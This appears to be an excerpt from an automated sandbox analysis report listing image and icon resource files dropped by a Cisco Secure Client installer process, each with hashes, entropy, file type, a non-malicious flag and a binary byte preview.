Encrypted:	false
SSDEEP:	192:6O6eUrSbvYvQ77S7PmrQJhWxQLVBinCEBWLp41ZvPaiTlShB9R022uRx1ohfiq:67RSbAvQyCED4QLVBiCLLS1hhMv022u6
MD5:	49E51BACF675B9DF74CD84F600645F0F
SHA1:	563FBED61D83375EE51DD85FD7DC71B53D048ADF
SHA-256:	25EA8BC480B6E97548BD3F64ED6128686C06CAFAA772025B24C2F52CE39B137A
SHA-512:	3231ED2D95E3B2DD1AF2956D3FB29EC7D6AC2D8A5FA6CF12DDA967BCA25CBB3D69B393265B38592B8DB62CC93D55903BE827BD5AC5E119DB5D80E2CE54DDA084
Malicious:	false
Preview:	.PNG........IHDR...............M.....pHYs...#...#.x.?v.. .IDATx...x......._....<Ih.^.....s.......D....[.....H....z).J..j}&...P.B..l..NBD\| ' ..r.&3..={...9....Kr^3s.^..^{= ..............M...v.{.l._...e~...H>.4}...w.gpq...>...$..C8k3\.....>.9.. x...g......R..u...~.y..i..F....<.i......b..r.4..j.d..Id..7\Q4Z....H..=.5.....7..A.X_.~-V.n.8..J.X/...jK..ZX.\.00N.(=p...zA...L}.~......fN.{.L2...e........x.s..t.......-.5..{M.i..#3g........; q..!#{....... }....t....1..N.....1.r.....h..or.".q.8...t..'..&yL..9..M.d....k....c.j.DO...]x5V.6#4SX:..R#n..f...S....sg.7..~5q.`....y.....9...d.o.xL".`..r"..&.3F...B!..B.......).U./...?..... .....7mAZQ.j..z..p$.o.v.=.@\.$.Vh...b.........\.y....:.d.5.9.R>.9.y..q"....4@..{.Qi.J.[...........W.6G..4BO..E8j..a.t. ...............o..%...w.+Rqb..PFGkt..)..z.c.B..+;+.7L......V......0.....*:.[.@.E. ...W ....Go8..U.<&..G!8A.@.hY...4Ifj...Z8..+.U.'..F.ea..-Y.Q.,.w.......dA$".>F.Z.VP[.h].B.R..NU...:P....z...<....G.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-NSORD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	MS Windows icon resource - 2 icons, 32x32, 32 bits/pixel, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	5430
Entropy (8bit):	3.4144936482461397
Encrypted:	false
SSDEEP:	48:xLEWi6fEolR+vy+f7I8QbmvTn+3vCpK+hxZBBBpkbGgo2uo:xLV7EolbUISLn+3UBZBBBpkbGg6o
MD5:	68A2EA89135A31CE9E3E598F981433E0
SHA1:	1E2DABDFE730EAFD9A21F09C0E8E7F84E159E115
SHA-256:	73A199B9058AE8665DE3AD7792A7EE5DF7ADD2A4F2D8EFF49D81F221E8AFF85E
SHA-512:	CBCF48A63EA4CDC853950D2240B216EC8037E5CF0DFA9DA590C9F3749D5090406CA00CFCC5F844A7024ADD80B113F49F2F7D7F3D739F813360DA47720418DAC2
Malicious:	false
Preview:	...... .... .....&......... .h.......(... ...@..... ........................................................................P.........................@...@...@...@...@...@...@...@...@...@...@...@...@...@..................................... .....................................@...s...s...s...s...s...s...s...s...s...s...s...s...@..............................................kY.X5..M'..M'..M'..M'..M'...@...s...s...s...s...s...s...s...s...s...s...s...s...@.........................0...........cB+.M'..M'..M'..X5..z]J.z]J.z]J.nP:..@...s...s...s...s...s...s...s...s...s...s...s...s...@.....................0.........kY.M'..M'..X5....w..........................@...s...s...s...s...s...s...s...s...s...s...s...s...@.................0........nP:.M'..M'.......................................@...s...s...s...s...s...s...s...s...s...s...s...s...@......................nP:.M'..X5...........................................@...s...s...s...s...s...s...s...s...s...s...s...s...@..................z]J.M'..X5

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-O2BA4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	MS Windows icon resource - 2 icons, 32x32, 32 bits/pixel, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	5558
Entropy (8bit):	4.450533821817726
Encrypted:	false
SSDEEP:	96:vcn7ngbW2IU8R9Lq+LhfSnuX31xEqxpkg:E74IU8R9LqMTFxz
MD5:	EAF0F00DA8BB1D384B8A5BB3B82D0A54
SHA1:	2E7021D20D962F4568A51757B2D9B7408624740E
SHA-256:	86D5102E01D6D29D5AEE6E87E827B8C624D7B552035C9AFDB0BE2B120E4A553F
SHA-512:	57358DEA1B8A75A8FEEE29F9D83931D65672B228B93CE6C9CFEEBA3C77FD9FDB8D7B7D4A1F3188D8CBC2FEBF8B427F574791E6210580499788FF101641C01854
Malicious:	false
Preview:	...... .... .(...&......... .h...N...(... ...@..... ........................................................................ ...`...................................................................................................................p.........................................................~...~...}...}...}....0........................................`................z]J.M'..'....hm.)...................................................................................................z]J.M'..M'..M'..M'..'...%x}.+...............................................................................................M'..M'..M'...kY..............x}.....!....................................................................................xh.M'..M'..z]J.....................8y}.4...#................................................................................xh.M'..M'..............................Az~.=...%......................................................................p........M'..M'

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-O551L.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 300 x 40, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1601
Entropy (8bit):	6.020486157649533
Encrypted:	false
SSDEEP:	24:HA/6I1hxWwUyl3ZknA9VYVhEfNAG+ojoyMmcI1VYj41jCw1jaPl3VYjJoUHH3yG3:g/6G6GknA9Wg2O0y/c0CKum23CuUHiWV
MD5:	F999F81B91475C98DE33D66E186DF2CA
SHA1:	397B889C5AA95A25FFBD128656BE5D91A71F3275
SHA-256:	F807E26DA3A4BBFBD9552D2D50FB0F5FC28AAC46635470E3F834C2042C05310B
SHA-512:	2A43CB4EFC414F8FAE4EA173FB53CF2819975C76170DCEE4A995B3A74786C167C26DF258E1E589ECD92DECB999683EA38C6C4882CC2E299313C9357080521844
Malicious:	false
Preview:	.PNG........IHDR...,...(.......P.....pHYs................:iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" tiff:Orientation="1" xmp:CreateDate="2018-10-09T14:27:50-04:00" xmp:ModifyDate="2018-10-19T17:58:51-04:00" xmp:MetadataDate="2018-10-19T17:58:51-04:00" dc:format="image/png" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1" xmpMM:InstanceID="xmp.iid:c57f0649-d423-40eb-938e-eeff8347c1a5" xmpMM:DocumentID="xmp.did:c57f0649-d423-40eb-938e-eeff8347c1a5"

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-OE7BC.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 101 x 101, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1702
Entropy (8bit):	7.836409910643584
Encrypted:	false
SSDEEP:	24:MSsuOJ3aklIveNn3uRjOIi4d6R2LA+KdrIF0Nl3BqL7goSlO2Ywdq8XLxTGO:MD35lIvmnsT8gA+GsFvkoSVdxl
MD5:	2A93A2F714FAB48B6CD5BDF1533EEFE2
SHA1:	727D59B41389E63AD6149117E83035CE8DECD59D
SHA-256:	7982204EE803716D70B99C224A4A1F3AA10CA0AC012CF33802A3E305B72AB8AF
SHA-512:	B4F04174C5B0691F65C4304B5EFC23C5533FF72092F15C03EDBBFBA103158C79FD0F890A7509EF84D85CD662AA849525FDAE1BE9D91016214BF5B1262EA735B3
Malicious:	false
Preview:	.PNG........IHDR...e...e.....T\|-.....pHYs...#...#.x.?v...XIDATx..=R.X..{w.l8..8#..-...f.'.9...lhs.)...N`q...!...=.I7.zz-F.H..7._.U.3#.^.[..Z..(..(..(..(..l).e}YE9.....U.[qy..W)Ei....GP-A...=G......b....R\..R.h..}.]W.>T...Pt.j).Vp.,.....y1c.......jx...W(Zr....xv.\|9..%....$g5.Z.'$.r .......7r..b.y.P.....1.(.)V..P-.Q.._)k..1.t.._....W.R.o...O.d.n................Cl....r.E...m..P...6..,.[!],.m...]..Y-v..6.j.p\c.g.2u...-Bs......k{........^V....e.F...N.u..=.Hw..1..&.....y^..i].E.B ..{.}.....n0w......1.ES..m....p.....R.Q._......gF.Gp.#..v..<~.;t.Xr.nx.bs.K.s.c..<.j#Qf.6k....x..{.....}.?;uS..{.y...y....<..9Q.c"..I;....;^N...n% .O....<.V..;......G..+E....h-....M.T-....."V..G[...S..~r...-.L"f%0@.1.Zx....0 .]d1+.Az.~.b...d.......b....Z.......k.YZ.m.q....WX....0..G.T......]....s,.obV7..D.7h.2r..g..(<J....+..(V...y[.!f..Z..>..".I..t....ab.v....M9...)..U.h..M#.....JA/.VP.>......wB.......^1.....d..R..9Orm-.....R.C..%..(...d...J9#6...{TpXJp....j

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-OQSDO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 101 x 101, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2106
Entropy (8bit):	7.848629133083243
Encrypted:	false
SSDEEP:	48:gySVFiuSZgKTkBsSS/Z89Vn1MM1DCINukyd5Wb:gySBSZCqBhen1MM1CINgsb
MD5:	85D427479A5F8E6F69DEB0A5EC7E6DBF
SHA1:	95414451D6AE9B130831A1C297151F65AD849A6C
SHA-256:	CF8B60054D290DFA6BA59086BF18F5ED0718C721B4ADD200AC95275E5457AB58
SHA-512:	58248F232F27441ACB81B0A6AF2272D19EE1710101C3675CCAEA4BA3CE8A74D664053C58EF2D9C948F2ABCCA4F30B5ACF633A2EA53C8E260BB40FA6F1214151C
Malicious:	false
Preview:	.PNG........IHDR...e...e.....T\|-.....pHYs...#...#.x.?v....IDATx..]+s#G..K..N0P..Nf)..0... ..v......l...P.{(.2R.Yf...,a.U.d....3.....g.,..~N..$$$$$$$$$$$$$$$$$H..^.b6h.@W}.?.V?oc..O.....x^_...lR.A.......=[,.zX}..S.^..y...8!.@..4...i.5..l...sEHl..p........D.HA2..K.)....:...l.Ud.k.........:........p..Re.J...U.Y..9(.>...%....a..e..V........D.:J.eL..GJ6.P.....3B.kG...wgCP).?.5qH....85\|.tel.q..W..=..[.u.....w.3r..k.....RR.B....$....].}../.@.71.s0b.bNH4=m.l.^I..`.".. 2...X...^......U..s.!d........~..;..J.f..,)..T..V3+.g%.T.G.b..K.r..=.GF...GT5.s..N.l..:.$..,!.T.......r$>.H..1...Q..}.~&..z.:.iF.}@b..mP.....!B...e..R...A(....U.#..o5&a.43..."]".._..m.......7.G..w.5q&..V.............,.+)\.;.0zw.Th....;.!..^J..-...:L.L.iM..g..Zgq.N8.qhYd.?.7...=t.iL[..B........yi..L...q8w..>..x..p.O..VY.u.s....%A.....`....n..L.f...6_."..R.D...8..^...>.N.J.1.;.T....-...}~.M..J.:...B..{m.L.m...>.J;.\T.=).xQ..u{...f........!.)y]lck..W^.v.T.ms...%^..,.b..]ZZ...u.^...

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-P4005.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 67 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1264
Entropy (8bit):	7.787798189239225
Encrypted:	false
SSDEEP:	24:GblEbksH883ZKHGbOgt1NxI7aY1nigCC2OjKe6Yt3CvPTWngq2i3sTj85:ElEJH8I/NkQgQ+KtY1C3Sngq2VW
MD5:	DB2D5090354734EC085D88810B342866
SHA1:	F727BC14361A4332C73BFB5194CA5FF6EAC37959
SHA-256:	996C1A034CC8B6CA3C511E2C7EE2FED22F31904DB769A1AD8555F1CFD478AA62
SHA-512:	04F9B9B5EABD33E318F6A83A734ECA67C2778745560F44F45C535847BF642B33DB2C6C974CC7A6AAE4C68C67470135B15ABB2A77247BFF3C518EC113FDFD8888
Malicious:	false
Preview:	.PNG........IHDR...C...@.....A^......pHYs...#...#.x.?v....IDATx..\;R.A.m0.3...8.C...o.@'.D.%N.:."..q..o,...@........~.Z-.....J.}fGo..t..h.jB.D]"b.#"zCD..+.D..,.,...X).q.......:.."...}#.Y:X.........!.1":...1w.`9.=p02.$bw..VP....C..M...F..`.\....w /2.$..5.bQ.^.C[.X.t.\.N..8....[XCQ...Q&.<~...'\C..s.j%.d@ ..8..y.0.9#....0-......q...]..1../....).t.<....L.V....@)N..HQ..+B....9W\|d.K..^8..W2-!.}...... Z...e..jB.).9S..Uc.PsF...r...n.+.....:2n..".....!l....E.%'.I.......!$.."._........H...?.....HD......7F.u.+...Ke.+.S2`.C...M.........2F2.p.q...ZU\$..E.UX....p..4M..f.Pb...2..k..J..,.D....e.E....i..zc@...tX...s.t....>4"CM...47}....p...\..x#.(....96.yd...._.@.6...C7..2.P....QD...3...7z..d`...3..]...+.b.`k..5....I.#K.V.%.F.h6`. f...g.....G..l....~"l..17.{. m.......1S..$z@.....4....5.........ks.E....._....52L.T.....m..`..;.r....&..p-...}.s.l.S....d%.q..[2...a.. ..\|..4.1...v.....j.\|b..d0\.....{..6.E.*22.S"..JHa.U.\f.. c.m..!t.HH.MS.sU.P&.Y.!_2.^..V..(S..=

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-PGOVV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	5803
Entropy (8bit):	7.950077949239442
Encrypted:	false
SSDEEP:	96:eRHNludLinPdADSlBP/5X48lHE6uXPk1HFlQ0vmHSQON0hYRGRkA3rGWjrXM:UHNludLjM/FvhE8FlRRJG1r5jA
MD5:	1F00D2A16D3C303C76359276E6983553
SHA1:	9B58E65D2A01B1E55173370BBED7CFFB72C683D2
SHA-256:	F70F49DED3EB450D26AABC8F71AE8C1BF63D2C01A1C55C6A19E010FAD602011E
SHA-512:	C65A78144AB84A68DEFAB93704D20AB177E2BB82138FCD47171289D164F938D7D9620AEB22ABE234CDC79DE2CB28AF1A2B780845D873409DF0B89A60C34D425F
Malicious:	false
Preview:	.PNG........IHDR..............>a.....pHYs...........~....]IDATx..]{l[.y..."-?r...:.e'K..).9.R...%h.......0..m.?.y[.a. ...x.C.6t.......N.u3.......FJ.d..Dt.%.._.%>..;<7.)..;..R...@K...=.\|..}.\|..h..6.h.....U2.(......c.g...<..c.1@L..[....D"....F.4..3..MM.h.N.....9-..U..e.... .."...Ad.....>'..lF......d.0.8....4E+..O..i.V<.....5==m5.x..w.......8^.b<JD.H.....&''.Fp'./....>.6.z...MO....T.2D....}E.e...6. .I.z....fffZ..u.>...DL.1....acW.0.2....U.{.........W.c..!%W0W=. .......U.0F.U...e....B..b.......c.Z...JW.\.... D.#.....h4.H...W.5F.w..;'~..o."...%..l.....\|.#.w.......~"....H.^V.f2.f.x<.7GGGk..u."....?...1....}.3.......d2..L.\|C...k...>.wo9.b/.p.r.. k....r`.2).m.u.8.3$.I.....$=..@3. a.f<.J...A...E./$.8.4MY....u.Sh.#.1..,A..?.BR2.g....h4.......2......S4.2..S&....!.....B.J........d..........n.}w.0..]...t.5.x............Z.s_B.Y....f...?..A!..!.&#.&...\|C!GV>K..z.jh.U_..x..n2@.4............0J../...Y.sD..I7.7F.........kKD..@l....">.. .g..K\|..\|./.1...&@.A.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-QC9RT.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	51094
Entropy (8bit):	7.977081753425093
Encrypted:	false
SSDEEP:	1536:UoAL5K723jk6waeSXMFYcQotAtZJqyGlOk6bAfb1:Uv5YAjkCeS8u6tAnwwTbe1
MD5:	BBD0533637DA4102A6DC250FB20D6FA7
SHA1:	B78DC64053313A61F3C25550D17C2700923B1EF0
SHA-256:	C4D28DB251B9D72B2EF84EB9774F028FFDB65E432451E79E50D51A497D8196B9
SHA-512:	A3B17D20439BE297AD034827FD5B9EC40DB2D3B597D76431F29AE4C72C2647546DAB7696A05B3007C6796862CA67F7EDD41D8826C0D41BB55139A1D58CE23C46
Malicious:	false
Preview:	.PNG........IHDR..............x......pHYs..........+.... .IDATx..wx.U...wf.{O $$..z.".J.......YEEE..." .TAd..^BM..RH.}2...dw...U.....=.;...{.....s.=...D".8.Eq....._....#......u)..X..T.....@.......7....(...\|......7...r~.U.... ..7.(.B...X.B.@".PCo....@...`...8...8w.r..w.. ...b...IB..9.$...H$.d.E..._.{.>@.o.}5 .\|U^....~..<.....;..@..'.P.H.. .X......u...+..:..r.......p...M.."K.I"...Dbn#......@..o.~..sv...;..p.......T!D.T.D"......_U....<.........$.C....$ ........B..T.D".....3..T)_.?.t(_..be..\|g.H.Cp.H.....D:.....x....D.5...o...".............R5...H$.o.5@.P...~'.%................Z...t.$..0..@..........%...U..\......R-...H$.c..........G..I.H....o.l....L.B.K.H.. .X........'..>..Db(y.m..~......t.$..3.....[.=...s.K$.......N...(.j.H.@"1...@..7..6..o*]I..n.?.X...BdK.H.. .......k.<.~..EjFb..?"....be.#.t.$..n...'.q@C.\|.R3.+..}..U`.pR..J.. ..o..>)O...Db.....JxQ..H.. ....k.~..;...'..Hl...L.G....]&..H.@RY........r./....?....B.\...t.$.n.]...x.Y.B.V$.........B.I.H

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-QFQPH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	MS Windows icon resource - 2 icons, 32x32, 8 bits/pixel, 32x32, 24 bits/pixel
Category:	dropped
Size (bytes):	5494
Entropy (8bit):	1.0468421318534369
Encrypted:	false
SSDEEP:	6:rlL14RyS5lhJEO7dVVvydaS+Qu7lfTllv7l3Jl//lHNlP4lp4lX4lR4lf4l54lng:xh4r3rEOKJmfGJ5
MD5:	223CC34A3299A5777171F41DF8453CDD
SHA1:	559AA03C2FB5D602B4116C16A7D73EE81C99F37B
SHA-256:	7E62C5A39DCDD0DFB69F1CCC882579D71DFD4DD345828318F1170AC48ED7F934
SHA-512:	5DC60D3801387F534A126D0DE4336993954274BE9696A0D73CE3161C6B2D36B7DCFFC38AD714CCD0CFBDB397FECC9DF845AF4B65215249A7637321F38A5033D6
Malicious:	false
Preview:	...... ..........&... ..............(... ...@...................................BBB.XXX.cbc.nmn.yxx...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-R05J2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 201 x 201, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	12780
Entropy (8bit):	7.975972884511595
Encrypted:	false
SSDEEP:	384:eS01CYt7F9/5i2XPFK02VBVDNP/RqOMGkw9j:e1th95PqjP/E1A
MD5:	1CE2626120CD6B69683255C71552896B
SHA1:	4230DF12A00E6B13CAB39EFB1C44DCBF5B656087
SHA-256:	B55ABBF6754B131C33947DCA3511D219B2AB2DC5D7E8945BF3C6A2E9FB0FEB23
SHA-512:	A197A76FB7DB9FEF68E3A49DE4C134EFB41472773F323BF4F8AB3B610174FD75C15848BB42CFC2D4240D72EFA66FF4CFFE02DDA28323279C87C7019E167F724B
Malicious:	false
Preview:	.PNG........IHDR...............&.....pHYs...#...#.x.?v.. .IDATx..}.tT..7>rk.....I...R.....6D../...T@..._.A[..$rkA.D..U0......W.EI..(...^.TC.TX>...eD......>{.>g...d~k.Jf....;....G.BB.<y..#N.6.i}......#.~......G.~......s..~...5..V...N......'.=..$.........K..a{.c.........:...3.....:.L...KWu.{.._..../<.Z...n.y..../.e{.i.3.......[.O`\|..h.+../........M#._....s..G.3hO....j.._&..?...s=.<._\~I/..9....W..I.....u.tq..}..7.G;....h........f.G.v.h<....c...7.0.1....d[...^.......D"1....[.ilC..=@.6.U.O0.......P.......D.t..K..}.6M._*.....6._:h.'.Ix.htP..l.N.4.........$.m.......:........+..o<.../Ly]..p.....+...y.._.........t..........7..g...D..Y..A.........n.....9.....D."j.9....>]p.ly...........N.<....IaT..N'S..'..4.Nd.ntN........;..<d;..^..:...0...m.?).....Q..X.`).......%....!...........'..'...M2M.?..D..3{_[....jdpY.tW.i.....5Wep......Jj7....IJ....g.?M..).\}Bkc]....~u...~...w......!.x..w.......;)~NL...L.;wN............\j.[.N.Dt...EB.c:.....b..

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-R7M8I.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 200 x 201, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	12124
Entropy (8bit):	7.978101118980993
Encrypted:	false
SSDEEP:	192:6QcIfCBldrUhS+mzFAXOk03y4nRFoVKX22ZSsnVqzY5oarRl75w1/i5IxehvNbim:6QcRBld2S+m5AOTRaI22ZSgVq053t5ww
MD5:	5B846635AC3DA9C8E857C042ED0EA2F6
SHA1:	B439FC64436B74900F453ED2480C8CA547CBCDCC
SHA-256:	9C6135A6176AC9D00E1BD4307A3111BBECD39814DB18212DA1D55916A4EEDB4F
SHA-512:	0A58ED5105CFB87DD3F91675734171989C0A36B572BA2D20706CC831E0DAD9DB37175754E405680B4DEE4D6D958DA63B89413E2B6D2725A84C95932F8D123323
Malicious:	false
Preview:	.PNG........IHDR...............M.....pHYs...#...#.x.?v.. .IDATx...\|....O..ZY.Z..!XT* ..,.%...n.R...R.,..)....Vy+..[+..DmA.l).&i.Xi!.XwB.....c....o.;...;..<.L2....<.l..{.9..s(.d..#3;....5...}....]#i.On.....F..G,O&}.]..m.l..rN.k.Jm}Me[...n........Lwe:...f.}`.k7]8......D........v.'(....t.E...^.v......n.....HO";.{.l.2...DX.6._.../.'.=.'9.#....9=... .z....-.>p..~..G......:H..=v...SV.....>..K...w....PYI.....G.mx+2;]az...\|...>{...............m.j...'x.........n......q..T.9.ew........j'...W..D....-......6)....N2k.,z...+......0..z.x.......z.&./..?..;.0;..+....7Zg.w...B.Y..qD.....9..G.......9~........S...O..._TTT...Qy\[.(..#c.k......<..]k.^.c.Lv".5H... e...D./N'.E..tJ....TO.L?A......'..n.../.....).vwA.bgRS..m.....+.m]~P'8.m.......p.t..a.=....Y.I...$..nO..$....~......m.7..........P.$g.......#.a.>c......;...Y...\.\|7.]...S.z..C....=..c.f.2{\..g.h8..v@(....4.....e..fj..Q..{.E.'..../j?\|.v..]s...R.......:..;.t.8....'.....x5..#...C..djj..U...8...

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-RO30U.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	543
Entropy (8bit):	7.547901309478316
Encrypted:	false
SSDEEP:	12:6v/7CWdT8JNBxFtHpTJKAghnooED91TFxff+Tye5N3Q2+ah7:KT8rBztJYnCjT3+TN5N1B7
MD5:	5D99349B36EE267BD85E3A4E4C8B9D09
SHA1:	AF5F88451BA51F5FBAE5D3D603655138EE78D27F
SHA-256:	84EF9A5D991E3B3E68AD6F7B8F2D9F279769DC9D27BBB205C3AB9B2BC1607ACA
SHA-512:	58C4E4CDD9B7D5C660A40467F504137D1779222AF24DAFFABB495DBD476A65940E93EF7E8EE7F9BF69A4C4F560D6BA5FB4EEC4DE81C77E4383A24D7B0110DA85
Malicious:	false
Preview:	.PNG........IHDR..............w=.....pHYs...........~.....IDATH...R.1....y...U....kx..p.9..>@....' (d..=\..p..$....z...;s.In.}../..m.+..4..7.~...@e]...Wx.....~G.2.x+.6J.<&^..).Y.S....Tv.<....,.+..`....G>..Q!".5.h.l.}.I<...S....t..>%r.0w{.1.mE .@.K.6.-........./L'S.7.\|.j..]Z.w..<.'.Kk...`..0N..L..7_.(...C........8,.9. \.T.......K...\..0..L....:...!..}.$.(QQ.....T...../.)dzT..5..iu.......N./.....r.>}.&h%...x....o..6W...B.(...z.a...0w.....BYf.%.{.$.y.NUt.@....F.T....ge.:v.m..t..xp....d......o.>.....0....IEND.B`.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-T01PS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	MS Windows icon resource - 2 icons, 32x32, 32 bits/pixel, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	5430
Entropy (8bit):	3.4732129504366194
Encrypted:	false
SSDEEP:	96:h6QRIHYm77Z5IVpIHwuS0g72HR1K9TEYkbGg2o:iHY0TUuUSHRAQXHx
MD5:	E61CF737A35E8DB52178528A0CBFE702
SHA1:	DE0A794D67A3DEF7079CEC7C48AC580CC71A7270
SHA-256:	559C518DC1F316C4991DC95D131CAB0BDAC445B1CE41B28EC8244CDD78F8AB2F
SHA-512:	8563013E9A2B75F5EDF00D71A292634FE375D5F6670F7F303C2CAB2DC271FDFC04A760417E2D487269D26611F6D236E6164EFC3179452AB34B1D42ABC17C51B6
Malicious:	false
Preview:	...... .... .....&......... .h.......(... ...@..... ............................................................................P...........................@.......................................................................................`...................................................@...................................................................@................z]J.X5..M'..M'..M'..M'..X5...kY....................0.................................................................xh.M'..M'..M'..M'..M'..M'..M'..M'..M'..M'..M'..X5.................p........................................................X5..M'..M'..z]J.................................X5..M'..M'..X5...........................................................xh.M'..M'..z]J.............................................M'..M'..M'..M'...................................................xh.M'..M'......................................................M'..M'..z]J.M'..M'.............p.......................P........M'..M'

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-T9FQQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 534 x 534, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	28939
Entropy (8bit):	7.960017526195935
Encrypted:	false
SSDEEP:	768:OkJC2FKvbdu0G3091/3+WVlQkJyE3MNLc37Wr65:FCQmc0390W0kT8ll8
MD5:	B52EAA7318111371B2B8EF3425AD4405
SHA1:	DB16F9570B55F8045FE8354ACC853655791557AA
SHA-256:	C33C036B94E3BD83D393E552CE87784BA9F74D2B8563162024DAF7ED05E7EF6D
SHA-512:	AA98F3130A76BCD5FAF093886472F1A937E93AD0A8E83C00F9675C14C7AFC5DF903C52DE64FBAD6012F5DF54A1DB56759481BA8516C0DB0A851B6BE87FD13DFF
Malicious:	false
Preview:	.PNG........IHDR.............\|@.E....pHYs...#...#.x.?v.. .IDATx..Mh]W.........CH..#...5.R.R..h$...'e.Cj.T.g....G...Z..v.aB..w..K.I..E.).....d..."]g...P.l.u..>{.?....@..u.>.......g=.....\|.:D..~.........\|(...q[.g.d.......~..9r.w...'...pnn.P..D$.xx(?..K"..r..9.I.....L.t.9.A\B.D.....^&...e.'.._Bk..M....$\|....?....k=...:...N..N..{2..a/~.UO..t...'cuu....~.....zB*......IHS.T9!......\|.. q.?}......].M,u.\|i.90.<.s;y.Q.'..#..FH..3tP.:.i.]6...a.I0'.J...Rt2.!..I.c.}Q.'cyy.R.'uF...j..Sxy.u..}F..{D..H2G...1.`.R.......:..g.}D.Y....y..O=....7\|`..].Eg..4.&.....[mzd.9.e......{.}.;.e'`u.sB..M...;#}.I.%R......Dd=.z..#.Q...;..j.E...;...o...b.D.p.v..I.L.\"i.\2.GD."G..ti....ui..W.........p.....sS+j...A..........]/F...ybst...4}!.....d.i.....,.M.Y..../.v.......Q...He....DM.;V.&:^......D.ka.l....^.....{...L......F........=...yB..U.#.QwD.<!....5.ZO...0yB^.........K#L...^.]....(.R.X.d.+.'y?..d."T:OH..s...J?{E\|.....;....)....o.=.:+ZUp..H{{{......F.;[.8...H......

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\is-THOHM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 301 x 301, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	10239
Entropy (8bit):	7.950564187811269
Encrypted:	false
SSDEEP:	192:uTeKIu+Nxu1/eEefaoIgGSw78i5GJssnezz3Gu5cMrvF6AO:uTeg+NkdeCodGSiV3dcI96AO
MD5:	7DADB01AC22B7AB6F313726AD5977675
SHA1:	274554CDEB3971D3A9250AA0A7597F8B41D17000
